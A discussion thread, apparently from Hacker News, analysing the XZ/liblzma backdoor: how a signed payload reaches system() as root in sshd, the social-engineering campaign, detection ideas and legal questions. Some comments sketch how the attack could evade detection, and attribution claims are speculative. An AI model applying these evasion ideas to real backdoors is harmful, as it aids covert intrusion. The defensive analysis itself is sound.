XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."

https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b

by junon • 2 years ago

1323 785 2 years ago

junon10• 2 years ago

EDIT: Here's some more RE work on the matter. Has some symbol remapping information that was extracted from the prefix trie the backdoor used to hide strings. Looks like it tried to hide itself even from RE/analysis, too.

https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9...

Full list of decoded strings here:

https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01

For someone unfamiliar with openssl's internals (like me): The N value, I presume, is pulled from the `n` field of `rsa_st`:

https://github.com/openssl/openssl/blob/56e63f570bd5a479439b...

Which is a `BIGNUM`:

https://github.com/openssl/openssl/blob/56e63f570bd5a479439b...

Which appears to be a variable length type.

The back door pulls this from the certificate received from a remote attacker, attempts to decrypt it with ChaCha20, and if it decrypts successfully, passed to `system()`, which is essentially a simple wrapper that executes a line of shellscript under whichever user the process is currently executing.

If I'm understanding things correctly, this is worse than a public key bypass (which myself and I think a number of others presumed it might be) - a public key bypass would, in theory, only allow you access as the user you're logging in with. Assumedly, hardened SSH configurations would disallow root access.

However, since this is an RCE in the context of e.g. an sshd process itself, this means that sshd running as root would allow the payload to itself run as root.

Wild. This is about as bad as a widespread RCE can realistically get.

jeroenhd4• 2 years ago

However, since this is an RCE in the context of e.g. an sshd process itself, this means that sshd running as root would allow the payload to itself run as root.

With the right sandboxing techniques, SELinux and mitigations could prevent the attacker from doing anything with root permissions. However, applying a sandbox to an SSH daemon effectively is very difficult.

junon10• 2 years ago

Right, though if I'm understanding correctly, this is targeting openssl, not just sshd. So there's a larger set of circumstances where this could have been exploited. I'm not sure if it's yet been confirmed that this is confined only to sshd.

onedognight• 2 years ago

With the right sandboxing techniques, SELinux and mitigations could prevent the attacker from doing anything with root permissions.

Please review this commit[0] where the sandbox detection was “improved”.

[0] https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2...

hellcow• 2 years ago

Another reason to adopt OpenBSD style pledge/unveil in Linux.

semiquaver6• 2 years ago

Could you explain how SELinux could ever sandbox against RCE in sshd? Its purpose is to grant login shells to arbitrary users, after all.

quotemstr3• 2 years ago

Doesn't matter. This is a supply chain attack, not a vulnerability arising from a bug. All sandboxing the certificate parsing code would have done is make the author of the backdoor do a little bit more work to hijack the necessarily un-sandboxed supervisor process.

Applying the usual exploit mitigations to supply chain attacks won't do much good.

What will? Kill distribution tarballs. Make every binary bit for bit reproducible from a known git hash. Minimize dependencies. Run whole programs with minimal privileges.

Oh, and finally support SHA2 in git to forever forestall some kind of preimage attack against a git commit hash.

cryptonector9• 2 years ago

This is what PrivSep was supposed to do. sshd could fork an unprivileged and restricted process to do the signature validation, I suppose.

dhx• 2 years ago

sshd is probably the softest target on most systems. It is generally expected (and setup by default) so that people can gain a root shell that provides unrestricted access.

sshd.service will typically score 9.6/10 for "systemd-analyze security sshd.service" where 10 is the worst score. When systemd starts a process, it does so by using systemd-nspawn to setup a (usually) restricted namespace and apply seccomp filters before the process is then executed. seccomp filters are inherited by child processes, which can then only further restrict privileges but not expand upon the inherited privileges. openssh-portable on Linux does apply seccomp filters to child processes but this is useless in this attack scenario because sshd is backdoored by the xz library, and the backdoored library can just disable/change those seccomp filters before sshd is executed.

sshd is particularly challenging to sandbox because if you were to restrict the namespace and apply strict seccomp filters via systemd-nspawn, a user gaining a root shell via sshd (or wanting to sudo/su as root) is then perhaps prevented from remotely debugging applications, accessing certain filesystems, interacting with network interfaces, etc depending on what level of sandboxing is applied from systemd-nspawn. This choice is highly user dependent and there are probably only limited sane defaults for someone who has already decided they want to use sshd. For example, sane defaults could include creating dedicated services with sandboxing tailored just for read-only sftp user filesystem access, a separate service for read/write sftp user filesystem access, sshd tunneling, unprivileged remote shell access, etc.

tootie2• 2 years ago

Mind boggling. How do you even decide what to do with privileges on a billion computers?

junon10• 2 years ago

There's a reasonably high chance this was to target a specific machine, or perhaps a specific organization's set of machines. After that it could probably be sold off once whatever they were using it for was finished.

I doubt we'll ever know the intention unless the ABC's throw us a bone and tell us the results of their investigation (assuming they're not the ones behind it).

kortilla6• 2 years ago

There aren’t a billion computers running ssh servers and the ones that do should not be exposed to the general internet. This is a stark reminder of why defense in depth matters.

goalieca• 2 years ago

Government organizations have many different teams. One might develop vulnerabilities while another runs operations with oversight for approving use of exploits and picking targets. Think bureaucracy with different project teams and some multi-layered management coordinating strategy at some level.

Animats2• 2 years ago

Is there a git diff which shows this going in?

tempodox• 2 years ago

Apparently it’s not in the original repo, but in a build script in a distribution tar.

joshcryer• 2 years ago

They also used social engineering to disable fuzzing which would have caught the discrepancy: https://github.com/google/oss-fuzz/pull/10667

ptx• 2 years ago

I think they added it in parts over the course of a year or two, with each part being plausibly innocent-looking: First some testing infrastructure, some test cases with binary test data to test compression, updates to the build scripts – and then some updates to those existing binary files to put the obfuscated payload in place, modifications to the build scripts to activate it, etc.

jtchang• 2 years ago

So this basically means to scan for this exploit remotely we'd need the private key of the attacker which we don't have. Only other option is to run detection scripts locally. Yikes.

tialaramex7• 2 years ago

One completely awful thing some scanners might choose to do is if you're offering RSA auth (which most SSH servers are and indeed the SecSH RFC says this is Mandatory To Implement) then you're "potentially vulnerable" which would encourage people to do password auth instead.

Unless we find that this problem has somehow infested a lot of real world systems that seems to me even worse than the time similar "experts" decided that it was best to demand people rotate their passwords every year or so thereby ensuring the real security is reduced while on paper you claim you improved it.

danparsonson4• 2 years ago

Have to admit I've never understood why password auth is considered so much worse than using a cert - surely a decent password (long, random, etc) is for all practical purposes unguessable, and so you're either using a private RSA key that no-one can guess, or a password that no-one can guess, and then what's the difference? With the added inconvenience of having to pass around a certificate if you want to login to the same account from from multiple sources.

CodesInChaos2• 2 years ago

It might be possible to use timing information to detect this, since the signature verification code appears to only run if the client public key matches a specific fingerprint.

The backdoor's signature verification should cost around 100us, so keys matching the fingerprint should take that much longer to process than keys that do not match it. Detecting this timing difference should at least be realistic over LAN, perhaps even over the internet, especially if the scanner runs from a location close to the target. Systems that ban the client's IP after repeated authentication failures will probably be harder to scan.

(https://bench.cr.yp.to/results-sign.html lists Ed448 verification at around 400k cycles, which at 4GHz amounts to 100us)

pstrateman• 2 years ago

However only probabilistic detection is possible that way and really 100us variance over the internet would require many many detection attempts to discern.

Thorrez3• 2 years ago

According to[1], the backdoor introduces a much larger slowdown, without backdoor: 0m0.299s, with backdoor: 0m0.807s. I'm not sure exactly why the slowdown is so large.

[1] https://www.openwall.com/lists/oss-security/2024/03/29/4

Thorrez3• 2 years ago

The tweet says "unreplayable". Can someone explain how it's not replayable? Does the backdoored sshd issue some challenge that the attacker is required to sign?

candiodari• 2 years ago

What it does is this: RSA_public_decrypt verifies a signature on the client's (I think) host key by a fixed Ed448 key, and then if it verifies, passes the payload to system().

If you send a request to SSH to associate (agree on a key for private communications), signed by a specific private key, it will send the rest of the request to the "system" call in libc, which will execute it in bash.

So this is quite literally a "shellcode". Except, you know, it's on your system.

gavinhoward• 2 years ago

If that's true, then I am 100% certain that this backdoor is from a nation state-level actor.

junon10• 2 years ago

That's what this feels like. That, or someone who wanted to sell this to one. Can't imagine the ABC's are sleeping on this one at this point.

jeroenhd4• 2 years ago

I already felt like this was way too sophisticated for a random cybercriminal. It's not like making up fake internet identities is very difficult, but someone has pretended to be a good-faith contributor for ages, in a surprisingly long-term operation. You need some funding and a good reason to pull off something like that.

This could also be a ransomware group hoping to break into huge numbers of servers, though. Ransomware groups have been getting more sophisticated and they will already infiltrate their targets for months at a time (to make sure all old backups are useless when they strike), so I wouldn't put it past them to infiltrate the server authentication mechanism directly.

TheBlight3• 2 years ago

Whoever this was is going after a government or a crypto exchange. Don't think anything else merits this effort.

neffy• 2 years ago

Those guys are estimated to have made $1 billion last year - have to think that buys some developer talent.

BoardsOfCanada• 2 years ago

I would expect a nation state to have better sock puppet accounts though.

fuzunoglu2• 2 years ago

What is the possibility of identity theft that is commenced on state-level? There are reports that the time the backdoor was pushed do not match the usual timing of changes committed by the author.

It also seems like a convenient ground for a false flag operation: hijacking an account that belong to a trustworthy developer from another country.

Aloisius• 2 years ago

And risk discovery by the trustworthy developer? Unlikely.

ignoramous• 2 years ago

I imagine such actors are embed within major consumer tech teams, too: Twitter, TikTok, Chrome, Snap, WhatsApp, Instagram... covers ~70% of all humanity.

therein• 2 years ago

This could be something that agent that infiltrated into companies could use to execute stuff on internal hosts that they have SSH connectivity to but no access.

You could get into bastion hosts and then to PROD and leave no log traces.

emeraldd• 2 years ago

If I'm reading this right, would there be any persistent evidence of the executed payload? I can't think of a reason anything would have to go to disk in this situation, so a compromise could easily look like an Auth failure in the logs .... maybe a difference in timings .. but that's about it ...

junon10• 2 years ago

Unless the payload did something that produced evidence, or if the program using openssl that was affected was, for some reason, having all of its actions logged, then no, probably not.

noncoml• 2 years ago

Unpopular opinion, but I cannot but admire the whole operation. Condemn it of course, but still admire it. It was a piece of art! From conception to execution, masterful! We got extremely lucky that it was caught so early.

dc-programmer• 2 years ago

I agree, but the social engineering parts do feel particularly cruel

nocoiner• 2 years ago

I felt really bad for the original maintainer getting dog-piled by people who berated him for not doing his (unpaid) job and basically just bring shame and discredit to himself and the community. Definitely cruel.

Though… do we know that the maintainer at that point was the same individual as the one who started the project? Goes deep, man.

Tuna-Fish• 2 years ago

If the payload didn't have a random .5 second hang during SSH login, it would probably not have been found for a long time.

The next time, the attackers probably manage to build a payload that doesn't cause weird latency spikes on operations that people wait on.

(For some reason this brings to mind how Kim Dotcom figured out he was the target of an illegal wiretap... because he suddenly had a much higher ping in MW3. When he troubleshooted, he found out that all his packets specifically got routed a very long physical distance through a GCSB office. GCSB has no mandate to wiretap permanent NZ residents. He ended up getting a personal apology from the NZ Prime Minister.)

jijijijij3• 2 years ago

If the payload didn't have a random .5 second hang during SSH login, it would probably not have been found for a long time.

Ironic, how an evil actor failed for a lack of premature optimization :D

BuildTheRobots2• 2 years ago

I'm a little out of touch, but for over a decade I'd say half the boxes I touched either didn't have enough entropy or were trying to do rDNS for (internal) ranges to servers that didn't host it and is nearly always hand waved away by the team running it as NFN.

That is to say, a half-second pause during the ssh login is absolutely the _least_ suspicious place place for it to happen and I'm somewhat amazed anyone thought to go picking at it as quickly as they did.

jijijijij3• 2 years ago

"After all, He-Who-Must-Not-Be-Merged did great things - terrible, yes, but great."

I think the most ingenious part was picking the right project to infiltrate. Reading "Hans'" IFUNC pull request discussion is heart-wrenching in hindsight, but it really shows why this project was chosen.

I would love to know how many people where behind "Jia" and "Hans" analyzing and strategizing communication and code contributions. Some aspects, like those third tier personas faking pressure on mailing lists, seem a bit carelessly crafted, so I think it's still possible this was done by a sophisticated small team or even single individual. I presume a state actor would have people pumping out and maintaining fake personas all day for these kind of operations. I mean, would have kinda sucked, if someone thought: "Hm. It's a bit odd how rudely these three users are pushing. Who are they anyway? Oh, look they are all created at the same time. Suspicious. Why would anyone fake accounts to push so hard for this specifically? I need to investigate". Compared to the overall effort invested, that's careless, badly planned or underfunded.

bcrescimanno• 2 years ago

Compared to the overall effort invested, that's careless, badly planned or underfunded.

Not at all. It's a pattern that's very easy to spot while the eyes of the world are looking for it. When it was needed, it worked exactly as it needed to work. Had the backdoor not been discovered, no one would have noticed--just like no one did notice for the past couple of years.

Had anyone noticed at the time, it would have been very easy to just back off and try a different tactic a few months down the line. Once something worked, it would be quick to fade into forgotten history--unlikely to be noticed until, like now, the plan was already discovered.

hun3• 2 years ago

Carelessness could arguably a part of operation: testing/probing how thoroughly the community scrutinizes communication from untrusted individuals.

empath-nirvana2• 2 years ago

I don't think "admire" is the right word, but it's a pretty impressive operation.

kstrauser2• 2 years ago

I bet it’s not that unpopular. It’s a very impressive attack in many ways:

- It’s subtle.

- It was built to over several years.

- If the attacker hadn’t screwed up the with the weird performance hit that triggered investigation (my dramatic theory: the attacker was horrified at the infonuclear bomb they were detonating and deliberately messed up), we likely wouldn’t know about it.

You can detest the end result while appreciating the complexity of the attack.

wiktor-k• 2 years ago

OpenSSH certs are weird in that they include the signer's public key.

OpenSSH signatures in general contain signer's public key, which I personally think it's not weird but rather cool since it allows verifying the signature without out of the band key delivery (like in OpenPGP). The authentication of the public key is a separate subject but at least some basic checks can be done with an OpenSSH signature only.

1oooqooq5• 2 years ago

cool since it allows verifying the signature without out of the band key delivery

hope you do key selection sanitization instead of the default (nobody does). otherwise you're accepting random keys you have laying around (like github) when logging to secret.example.com

slooonz• 2 years ago

What do you mean ?

dolmen4• 2 years ago

Using an SSH key used with GitHub for other purposes than GitHub is not a good practice (even if it's common).

https://github.com/dolmen/github-keygen

asveikau9• 2 years ago

I have found it irritating how in the community, in recent years, it's popular to say that if a project doesn't have recent commits or releases that something is seriously wrong. This is a toxic attitude. There was nothing wrong with "unmaintained" lzma two years ago. The math of the lzma algorithm doesn't change. The library was "done" and that's ok. The whiny mailing list post from the sock puppet, complaining about the lack of speedy releases, which was little more than ad hominem attacks on the part time maintainer, is all too typical and we shouldn't assume those people are "right" or have any validity to their opinion.

snnn8• 2 years ago

I mostly agree with you, but I think your argument is wrong. Last month I found a tiny bug in Unix's fgrep program(the bug has no risk). The program implements Aho Corasick algorithm, which hasn't changed much over decades. However, at least when the code was released to 4.4BSD, the bug still existed. It is not much a concern as nowadays most fgrep progroms are just an alias of grep. They do not use the old Unix code anymore. The old Unix code, and much part of FreeBSD, really couldn't meet today's security standard.For example, many text processing programs are vulnerable to DoS attacks when processing well-crafted input strings. I agree with you that in many cases we really don't need to touch the old code. However, it is not just because the algorithm didn't change.

cesarb• 2 years ago

The math of the lzma algorithm doesn't change. The library was "done" and that's ok.

Playing devil's advocate: the math doesn't change, but the environment around it does. Just off the top of my head, we have: the 32-bit to 64-bit transition, the removal of pre-C89 support (https://fedoraproject.org/wiki/Changes/PortingToModernC) which requires an autotools update, the periodic tightening of undefined behaviors, new architectures like RISC-V, the increasing amount of cores and a slowdown in the increase of per-core speed, the periodic release of new and exciting vector instructions, and exotic security features like CHERI which require more care with things like pointer provenance.

asveikau9• 2 years ago

the 32-bit to 64-bit transition

Lzma is from 2010. Amd64 became mainstream in the mid 2000s.

removal of pre-C89 support

Ibid. Also, at the library API level, c89 compatible code is still pretty familiar to c99 and later.

new architectures like RISC-V

Shouldn't matter for portable C code?

the increasing amount of cores and a slowdown in the increase of per-core speed,

Iirc parallelism was already a focus of this library in the 2010s, I don't think it really needs a lot of work in that area.

bulatb3• 2 years ago

A software project has the features it implements, the capabilities it offers users, and the boundary between itself and the environment in which those features create value for the user by becoming capabilities.

The "accounting" features in the source code may be finished and bug-free, but if the outside world has changed and now the user can't install the software, or it won't run on their system, or it's not compatible with other current software, then the software system doesn't grant the capability "accounting," even though the features are "finished."

Nothing with a boundary is ever finished. Boundaries just keep the outside world from coming in too fast to handle. If you don't maintain them then eventually the system will be overwhelmed and fail, a little at a time, or all at once.

asveikau9• 2 years ago

I feel like this narrative is especially untrue for things like lzma where the only dependencies are memory and CPU, and written in a stable language like C. I've had similar experiences porting code for things like image formats, audio codecs, etc. where the interface is basically "decode this buffer into another buffer using math". In most cases you can plop that kind of library right in without any maintenance at all, it might be decades old, and it works. The type of maintenance I would expect for that would be around security holes. Once I patched an old library like that to handle the fact that the register keyword was deprecated.

rdtsc2• 2 years ago

Excellent point. I believe that's coming from corporate supply chain attack "response" and their insistence on making hard rules about "currency" and "activity" and "is maintained" pushes this kind of crap.

Attackers know this as well. It doesn't take much to hang around various mailing lists and look for stuff like this: https://www.mail-archive.com/xz-devel@tukaani.org/msg00567.h...

(Random user or sock puppet) Is XZ for Java still maintained?
(Lasse) I haven't lost interest but my ability to care has been fairly limited mostly due to ...
(Lasse) Recently I've worked off-list a bit with Jia Tan on XZ Utils and perhaps he will have a bigger role in the future, we'll see. It's also good to keep in mind that this is an unpaid hobby project

With a few years worth of work by a team of 2-3 people: one writes and understand the code, one communicates, a few others pretend to be random users submitting ifunc patches, etc., you can end up controlling the project and signing releases.

Fnoord• 2 years ago

7-Zip supports .xz and keeping its developer Igor Pavlov informed about format changes (including new filters) is important too.

I've always found that dev's name to tilt me.

Funnily enough, the Chinese name was no reason to investigate. It was a performance issue.

Also, to the discussion that a distribution was targeted. Jia advocated Fedora to upgrade to 5.6.x. Fedora is the precursor for RHEL.

Together with the backdoor not working when LANG not set (USA).

Those are two details suggesting the target was USA. Though either or both could've been part of the deception.

empath-nirvana2• 2 years ago

2 popular and well tested rust yaml libraries have recently been marked as unmaintained and people are moving away from them to brand new projects in a rush because warnings went out about it.

arp242• 2 years ago

There was nothing wrong with "unmaintained" lzma two years ago.

Well, that's not exactly true. The first patch from Jia Tan is a minor documentation fix, and the second is a bugfix which, according to the commit message (by Collin), "breaks the decoder badly". There's a few more patches after that that fix real issues.

Mark Adler's zlib has been around for a lot longer than xz/liblzma, and there's still bugfixes to that, too.

_zoltan_• 2 years ago

I was just looking at headscale. Last release mid 2023.

I had immediately asked myself: is this even maintained anymore?

I think this is a very valid question to ask.

bawolff2• 2 years ago

The headline seems like a distinction without a difference. Bypassing ssh auth means getting a root shell. There is no significant difference between that and running system(). At most maybe system() has less logging.

armitron• 2 years ago

Bypassing ssh auth means getting a root shell

Only if you're allowed to login as root, which is definitely not the case everywhere.

colinsane3• 2 years ago

not only that, but logins show up in logs.

juliusdavies4• 2 years ago

My sense was this backdoor gets to execute whatever it wants using whatever "user" sshd is running as. So even if root logins are disabled, this backdoor doesn't care.

wepple3• 2 years ago

Plus, detection is likely to be be very different.

jmward012• 2 years ago

Where is the law enforcement angle on this? This individual/organization needs to be on the top of every country's most wanted lists.

greyface-3• 2 years ago

I understand the impulse to seek justice, but what crime have they committed? It's illegal to gain unauthorized access, but not to write vulnerable code. Is there evidence that this is being exploited in the wild?

jmward012• 2 years ago

I am definitely not a lawyer so I have no claim to knowing what is or is not a crime. However, if backdooring SSH on a potentially wide scale doesn't trip afoul of laws then we need to seriously have a discussion about the modern world. I'd argue that investigating this as a crime is likely in the best interest of public safety and even (I hesitate to say this) national security considering the potential scale of this. Finally, I would say there is a distinction between writing vulnerable code and creating a backdoor with malicious intent. It appears (from the articles I have been reading so far) that this was malicious, not an accident or lack of skill. We will see over the next few days though as more experts get eyes on this.

ronsor3• 2 years ago

It's not simply vulnerable code: it's an actual backdoor. That is malware distribution (without permission) and is therefore illegal.

M2Ys4U• 2 years ago

In the UK, at least, unauthorised access to computer material under section 1 of the Computer Misuse Act 1990 - and I would also assume that it would also fall foul of sections 2 ("Unauthorised access with intent to commit or facilitate commission of further offences") and 3A ("Making, supplying or obtaining articles for use in offence under section 1, 3 or 3ZA") as well.

Though proving jurisdiction would be tricky...

stephc_int132• 2 years ago

Calling this backdoor "vulnerable code" is a gross mischaracterization.

This is closer to a large scale trojan horse, that does not have to be randomly discovered by a hacker to be exploited, but is readily available for privileged remote code execution by whoever have the private key to access this backdoor.

Seattle3503• 2 years ago

I'd be surprised if the attacker didn't meet the criteria for mens rea.

hnarn• 2 years ago

What is constantly overlooked here on HN is that in legal terms, one of the most important things is intent. Commenters on HN always approach legal issues from a technical perspective but that is simply not how the judicial system works. Whether something is “technically X” or not is irrelevant, laws are usually written with the purpose of catching people based on their intent (malicious hacking), not merely on the technicalities (pentesters distributing examples).

kmeisthax• 2 years ago

If CFAA doesn't get this guy behind bars then the CFAA is somehow even worse. Not only is it an overbroad and confusing law, it's also not broad enough to actually handcuff people who write malicious code.

1oooqooq5• 2 years ago

easy there. calling the cops on the NSA might be treason or something

BlueFalconHD3• 2 years ago

Like that spiderman meme, it's all the NSA

concordDance2• 2 years ago

I would have thought NSA would have hardware/firmware backdoor everywhere and wouldn't need this.

bawolff2• 2 years ago

Its been all of 24 hours, these things take time. Presumably someone doing an attack this audacious took steps to cover their tracks and is using a fake name.

tootie2• 2 years ago

CISA had a report on this pretty quickly. I think they refer cases to Secret Service for enforcement. But really, we seemingly have no idea who or where the perpetrator is located. This could easily be a state actor. It could be a lone wolf. And the effects of the attack would be global too, so jurisdiction is tricky. We really have no idea at this point. The personas used to push the commits and push for inclusion were almost certainly fronts. I'm sure github is sifting through a slew of subpoenas right now.

grepfru_it2• 2 years ago

github retains an incredible amount of data to review. but if it is a state actor, they likely covered their tracks very well. when i found the original address of the person who hacked elon musk's twitter account it led to an amazon ec2 instance. that instance was bought with stolen financial information and accessed via several vpns and proxies. i would expect state actors to further obfuscate their tracks with shell companies and the like

pcthrowaway4• 2 years ago

Based on the level of sophistication being alluded to, I'm personally inclined to assume this is a state actor, possible even some arm of the U.S. govt.

tejohnso• 2 years ago

possible even some arm of the U.S. govt.

Possible. But why mention U.S. specifically? Is it more likely than Russia, Iran, China, France ... ?

dboreham4• 2 years ago

To me it seems too clumsy to be USG. They seem to prefer back doors that are undetectable or hide in plain sight.

But it might be an NSA op designed to instigate a much needed serious examination of the supply chain.

Muromec7• 2 years ago

Overcomplicated design, sloppy opsec and Eastern European time zone altogether sound more like an attempt to snatch some bitcoins by a small group of people in places.

lulznews• 2 years ago

Lmao it’s a state actor bro

paolomainardi• 2 years ago

I am wondering if reinstalling the entire Archlinux installation would be a wise choice.

sebiw• 2 years ago

Arch Linux uses a native/unpatched version of OpenSSH without dependency on libsystemd and thus without dependency on xz-utils, resulting in no exploitable code path. This means that at least the currently talked about vulnerability/exploit via SSH did presumably not work on Arch. Disclaimer: This is my understanding of the currently circulating facts. Additional fallout might be possible, as the reverse engineering of the backdoor is ongoing.

pas4• 2 years ago

there are other ways for liblzma to get into ssh (via PAM and libselinux)

Deathcrow4• 2 years ago

This is only correct if the sshd backdoor is the only malicious code introduced into the library.

Phelinofist• 2 years ago

Just to extend the sibling comment with an excerpt of the Arch announce mail regarding the backdoor:

  >From the upstream report [1]:
  
  &gt; openssh does not directly use liblzma. However debian and several other
  distributions patch openssh to support systemd notification, and libsystemd
  does depend on lzma.
  
  Arch does not directly link openssh to liblzma, and thus this attack vector is not possible. You can confirm this by issuing the following command:
   
   ```
   ldd &quot;$(command -v sshd)&quot;
   ```
   
  However, out of an abundance of caution, we advise users to remove the malicious code from their system by upgrading either way. This is because other yet-to-be discovered methods to exploit the backdoor could exist.

bagels• 2 years ago

Why does xz need new features at this point?

sneak3• 2 years ago

The questions this backdoor raises:

- what other ones exist by this same team or similar teams?

- how many such teams are operating?

- how many such dependencies are vulnerable to such infiltration attacks? what is our industry’s attack surface for such covert operations?

I think making a graph of all major network services (apache httpd, postgres, mysql, nginx, openssh, dropbear ssh, haproxy, varnish, caddy, squid, postfix, etc) and all of their dependencies and all of the committers to all of those dependencies might be the first step in seeing which parts are the most high value and have attracted the least scrutiny.

This can’t be the first time someone attempted this - this is just the first unsuccessful time. (Yes, I know about the attempted/discovered backdoor in the linux kernel - this is remote and is a horse of a different color).

almostnormal• 2 years ago

Why did they decide to create a backdoor, instead of using a zeroday like everyone else?

Why did they implement a fully-featured backdoor and attempted to hide the way it is deployed, instead of deploying something innocent-looking that might as well be a bug if detected?

These must have been conscious decisions. The reasons might provide a hint what the goals might have been.

formerly_proven6• 2 years ago

Ed448 is orders of magnitude better NOBUS than hoping that nobody else stumbles over the zero-day you found.

Ekaros3• 2 years ago

If they seemingly almost succeeded how many others have already done similar backdoor? Or was this actually just poking on things seeing if it was possible to inject this sort of behaviour?

bdd8f1df777b2• 2 years ago

Presumably because other people can also utilize the “bug” they create intentionally but looking inadvertently. This backdoor however is activated by the private key only the attacker has so it’s airtight.

im3w1l• 2 years ago

Wild guess, but it could be that whoever was behind this was highly motivated but didn't have the skill required to find zerodays and didn't have the connections required to buy them (and distrusted the come one come all marketplaces I assume must exist).

mdavidn• 2 years ago

Also: Why did Debian patch a service that runs as root and accepts connections from the internet to load unnecessary libraries?

account423• 2 years ago

Also: Why did Debian apply patches to a service that runs as root (when those patches have been rected upstream) for a second time after such behavior has already led to a widely known vulnerability in Debian.

sega_sai2• 2 years ago

One have question on this is, if the backdoor would not been discovered due to performance issue (which was as I understood it purely an oversight/fixable deficiency in the code), what are the chances of discovering this backdoor later, or are there tools that would have picked it up? Those questions are IMO relevant to understand if this kind of backdoor is the first one of the kind, or the first one that was uncovered.

wepple3• 2 years ago

I expect a lot of people will be doing a whole lot of thinking along these lines over the next months.

Code review? Some kind of behavioral analysis?

IMO the call to system() was kind of sloppy, and a binary capabilities scanner could have potentially identified a path to that.

tux34• 2 years ago

I think behavioral analysis could be promising. There's a lot of weird stuff this code does on startup that any reasonable Debian package on the average install should not be doing in a million years.

Games and proprietary software will sometimes ship with DRM protection layers that do insane things in the name of obfuscation, making it hard to distinguish from malware.

But (with only a couple exceptions) there's no reason for a binary or library in a Debian package to ever try to write the PLT outside of the normal mechanism, to try to overwrite symbols in other modules, to add LD audit hooks on startup, to try to resolve things manually by walking ELF structures, to do anti-debug tricks, or just to have any kind of obfuscation or packing that free software packaged for a distro is not supposed to have.

Some of these may be (much) more difficult to detect than others, some might not be realistic. But there are several plausible different ways a scanner could have detected something weird going on in memory during ssh startup.

No one wants a Linux antivirus. But I think everyone would benefit from throwing all the behavioral analysis we can come up with at new Debian package uploads. We're very lucky someone noticed this one, we may not have the same luck next time.

jnwatson3• 2 years ago

The real problem was doing expensive math for every connection. If it had relied on a cookie or some simpler-to-compute pre-filter, no one would have been the wiser.

raggi4• 2 years ago

the call to system is obfuscated, static analysis wouldn't see it

londons_explore2• 2 years ago

I'm really surprised they did a call to system() rather than just implement a tiny bytecode interpreter.

A bytecode interpreter that can call syscalls can be just a few hundred bytes of code, and means you can avoid calling system() (whose calls might be logged), and avoid calling mprotect to make code executable (also something likely to raise security red flags).

The only downside of a bytecode interpreter is the whole of the rest of your malware needs to be compiled to your custom bytecode to get the benefits, and you will take a pretty big performance hit. Unless you're streaming the users webcam, that probably isn't an issue tho.

XorNot2• 2 years ago

If you think about it this is a data-providence problem though. The exploit was hidden in "test" code which gets included in release code by compiler flags.

Now, if there was a proper chain of accountability for data, then this wouldn't have been possible to hide the way it is - any amount of pre-processing resulting in the release tarball including derived products of "test" files would be suspicious.

The problem is we don't actually track data providence like this - no build system does. The most we do is <git hash in> -> <some deterministic bits out>. But we don't include the human readable data which explains how that transform happens at enough levels.

someguydave8• 2 years ago

Dynamic linking was a mistake and should be eliminated

ashishbijlani• 2 years ago

I’ve been building Packj [1] to detect malicious PyPI/NPM/Ruby/PHP/etc. dependencies using behavioral analysis. It uses static+dynamic code analysis to scan for indicators of compromise (e.g., spawning of shell, use of SSH keys, network communication, use of decode+eval, etc). It also checks for several metadata attributes to detect bad actors (e.g., typo squatting).

1. https://github.com/ossillate-inc/packj

joeyh2• 2 years ago

Since a liblzma backdoor could be used to modify compiler packages that are installed on some distributions, it gets right back to a trusting trust attack.

Although initial detection via eg strace would be possible, if the backdoor was later removed or went quiescentit would be full trusting trust territory.

ghostpepper2• 2 years ago

How would this be possible? This backdoor works because lzma is loaded into sshd (by a roundabout method involving systemd). I don't think gcc or clang links lzma.

rdtsc2• 2 years ago

At least for some comic relief I'd like to imagine Jia's boss slapping him and saying something like "you idiot, we worked on this for so many years and you couldn't have checked for any perf issues?"

But seriously, we could have found ourselves with this in all stable repos: RHEL, Debian, Ubuntu, IoT devices 5 years from now and it would have been a much larger shit show.

chris_wot• 2 years ago

Surely this is something the FBI should be involved with? Or some authority?

djao6• 2 years ago

Maybe they didn't have time to test? They could have been scrambling to make it into timed releases such as Ubuntu 24.04 or Fedora 40.

vbezhenar• 2 years ago

But seriously, we could have found ourselves with this in all stable repos: RHEL, Debian, Ubuntu, IoT devices 5 years from now and it would have been a much larger shit show.

Think about backdoors that are already present and will never be found out.

josephg3• 2 years ago

This was the backdoor we found. We found the backdoor with performance issues.

Whats more likely - that this is the only backdoor like this in linux, or that there are more out there and this is the one we happened to find?

I really hope someone is out there testing for all of this stuff in linux:

- Look for system() calls in compiled binaries and check all of them

- Look for uses of IFUNC - specifically when a library uses IFUNC to replace other functions in the resulting executable

- Make a list of all the binaries / libraries which don't landlock. Grep the sourcecode of all those projects and make sure none of them expect to be using landlock.

quatrefoil• 2 years ago

If the exploit wasn't baing used, the odds would would be pretty low. They picked the right place to bury it (i.e., effectively outside the codebase, where no auditor ever looks).

That said, if you're not using it, it defeats the purpose. And the more you're using it, the higher the likelihood you will be detected down the line. Compare to Solarwinds.

londons_explore2• 2 years ago

I suspect I could have used this exact attack against 10,000 random SSH servers spread all over the world, and not be detected.

Most people don't log TCP connections, and those that do don't go through their logs looking for odd certificates in ssh connections.

And no common logging at the ssh/pam level would have picked this up.

Your only chance is some sysadmin who has put 'tripwires' on certain syscalls like system(), fork() or mmap() looking for anything unusual.

Even then, they might detect the attack, yet have no chance at actually finding how the malicious code loaded itself.

golergka2• 2 years ago

That said, if you're not using it, it defeats the purpose.

Not always. Weapons of war are most useful when you don't have to actually use them, because others know that you have it. This exploit could be used sparingly to boost a reputation of a state-level actor. Of course, other parties wouldn't know about this particular exploit, but they would see your cyber capabilities in the rare occasions where you decided to use it.

lll-o-lll• 2 years ago

That said, if you're not using it, it defeats the purpose.

Not if this was injected by a state actor. My experience with other examples of state actor interference in critical infrastructure, is that the exploit is not used. It’s there as a capability to be leveraged only in the context of military action.

bandrami3• 2 years ago

The purpose would presumably be to use this about an hour before the amphibious assault on $WHEREVER begins

guenthert3• 2 years ago

Hmmh, brings up the question, if no exploit actually occurred, was a crime committed? Can't the authors claim that they were testing how quickly the community of a thousand eyes would react, you know, for science?

rigid4• 2 years ago

where no auditor ever looks

Well, software supply chains are a thing.

"where no auditor ever is paid to look" would be more correct.

formerly_proven6• 2 years ago

